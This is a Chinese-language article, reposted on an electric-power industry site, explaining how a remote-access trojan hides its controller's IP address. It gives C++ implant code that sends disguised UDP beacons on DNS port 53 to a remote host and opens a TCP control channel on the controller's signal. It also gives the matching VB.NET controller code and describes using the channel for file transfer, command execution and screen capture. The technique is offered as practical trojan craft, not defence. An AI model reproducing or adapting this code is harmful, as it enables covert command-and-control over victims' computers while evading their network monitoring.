淺談木馬如何隱藏上線IP地址
木馬也叫RAT,或者叫遠程管理軟件,關于如何隱藏IP地址,應該有不少人在研究,比如ROOTKIT實現文件隱藏、進程隱藏、網絡連接隱藏等等。本人才疏學淺,沒有深入研究過ROOTKIT,只是談談應用層的技術。
下面給出流程圖:

解釋一下流程圖的原理,UDP網絡協議是面向無連接的,和TCP協議的三次握手不同。
用系統自帶的查看網絡連接的命令 netstat -ano 是查看不到遠程IP地址和端口的,用第三方軟件或者工具也同樣查看不到,如以前的冰刃、360網絡連接查看器等等。
下面結合源代碼和效果圖來說明下IP地址是如何隱藏的。
被控端關鍵源代碼(C++):
DWORD WINAPI ConnTask::InitUdpConn(LPVOID lpParameter)
{
WSADATA WSA;
if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0)
{
printf("[e]WSAStartup Error!\n");
}
boolean IsUdpConn=true;
int timeout=1000;
while(IsUdpConn)
{
try
{
Sleep(UdpTime);
SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);
setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const char*)&timeout,sizeof(int));
setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(int) );
SOCKADDR_IN addrSrv;
//域名上線
struct hostent *host = gethostbyname(g_remote_host.c_str());
addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr))));
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(53);
u_long ul=1;//代表非阻塞
ioctlsocket(sockClient,FIONBIO,&ul);//設置為非阻塞連接
string sendStr = "0x4869";
sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
u_long ulu=0;//代表阻塞
ioctlsocket(sockClient,FIONBIO,&ulu);//設置為阻塞連接
int len=sizeof(SOCKADDR);
char recvBuf[14]={0};
recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len);
string recvStr=recvBuf;
if (0 == strncmp(recvStr.c_str(), "4F70656E546370",14))
{
IsUdpConn=false;
InitTcpConn();
closesocket(sockClient);
}
SYSTEMTIME sys;
GetLocalTime( &sys );
printf("udprecv time: %02d:%02d:%02d ",sys.wHour,sys.wMinute, sys.wSecond);
printf("%s\n",recvStr.c_str());
closesocket(sockClient);
}catch(...) //捕獲任意類型異常
{
}
}
WSACleanup();
}
控制端關鍵源代碼(vb.net):
Private Sub InitUdp()
Try
Dim udpServer As New UdpClient(53)'53號端口是DNS 協議端口,隱蔽性好。
Dim groupEP As New IPEndPoint(IPAddress.Any, 53)
While (True)
Dim buffer As Byte() = udpServer.Receive(groupEP)
Dim revStr As String = Encoding.UTF8.GetString(buffer, 0, buffer.Length)
Dim ipaddr As String = groupEP.Address.ToString()
Dim MessageIn As New gDelegate(AddressOf displayTxt)
Me.Invoke(MessageIn, ipaddr & " " & revStr)
udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"), 7, groupEP)
End While
Catch ex As SocketException
Debug.Print(ex.ToString())
'MsgBox(ex.ToString())
Catch e As Exception
Debug.Print(e.ToString())
'MsgBox(e.ToString())
Finally
End Try
End Sub
上面的代碼只是用來測試用的,真正的木馬源代碼會有少量的變化。
下面是測試程序效果圖。
被控端:

控制端:

控制端我這里用的是內網的IP地址,用公網IP地址也是一樣的效果。
到了這里有人會問, 最后你這里還是會用TCP 來建立連接, TCP連接就會有網絡連接的遠程IP地址。是的,沒錯,確實能看到網絡連接、IP地址也能查看到。這樣是不是就沒有必要之前的步驟了, 我個人看法是有必要; 為什么? 因為絕大多數木馬都是開機自啟動的, 自啟動后控制端并不一定處于監聽狀態。
可能1個小時,也可能一天或者一個月。只要控制端不處于監聽狀態,被控端就一直查不到遠程的IP地址。還有一個步驟這里說明下,當控制端發送完指令后,比如文件上傳下載、執行命令、屏幕捕獲等等木馬常用的功能, 當發送完這些指令后, 控制端可以隨時發送斷開 TCP 連接的指令,讓被控端再次進入UDP發送消息的流程中,這樣 IP 地址再次隱藏。
最后是高潮部分。
看下遠控程序的實際效果圖:


作為觀看這篇文章的獎勵, 我有一個小禮物送給大家。
xmap
主要功能:獲取局域網在線IP地址,MAC地址,MAC設備制造商.
使用方法:
方法一:直接命令行下執行xmap.
方法二:xmap 本機IP 本機子網掩碼
注意:參數中間都有空格。
效果圖如下:


責任編輯:大云網
-
現貨模式下谷電用戶價值再評估
2020-10-10電力現貨市場,電力交易,電力用戶 -
PPT | 高校綜合能源服務有哪些解決方案?
2020-10-09綜合能源服務,清潔供熱,多能互補 -
深度文章 | “十三五”以來電力消費增長原因分析及中長期展望
2020-09-27電力需求,用電量,全社會用電量
-
PPT | 高校綜合能源服務有哪些解決方案?
2020-10-09綜合能源服務,清潔供熱,多能互補 -
深度文章 | “十三五”以來電力消費增長原因分析及中長期展望
2020-09-27電力需求,用電量,全社會用電量 -
我國電力改革涉及的電價問題
-
貴州職稱論文發表選擇泛亞,論文發表有保障
2019-02-20貴州職稱論文發表 -
《電力設備管理》雜志首屆全國電力工業 特約專家征文
2019-01-05電力設備管理雜志 -
國內首座蜂窩型集束煤倉管理創新與實踐
-
人力資源和社會保障部:電線電纜制造工國家職業技能標準
-
人力資源和社會保障部:變壓器互感器制造工國家職業技能標準
-
《低壓微電網并網一體化裝置技術規范》T/CEC 150
2019-01-02低壓微電網技術規范
-
現貨模式下谷電用戶價值再評估
2020-10-10電力現貨市場,電力交易,電力用戶 -
建議收藏 | 中國電價全景圖
2020-09-16電價,全景圖,電力 -
一張圖讀懂我國銷售電價附加
2020-03-05銷售電價附加
-
電氣工程學科排行榜發布!華北電力大學排名第二
-
國家電網61家單位招聘畢業生
2019-03-12國家電網招聘畢業生 -
《電力設備管理》雜志讀者俱樂部會員招募
2018-10-16電力設備管理雜志



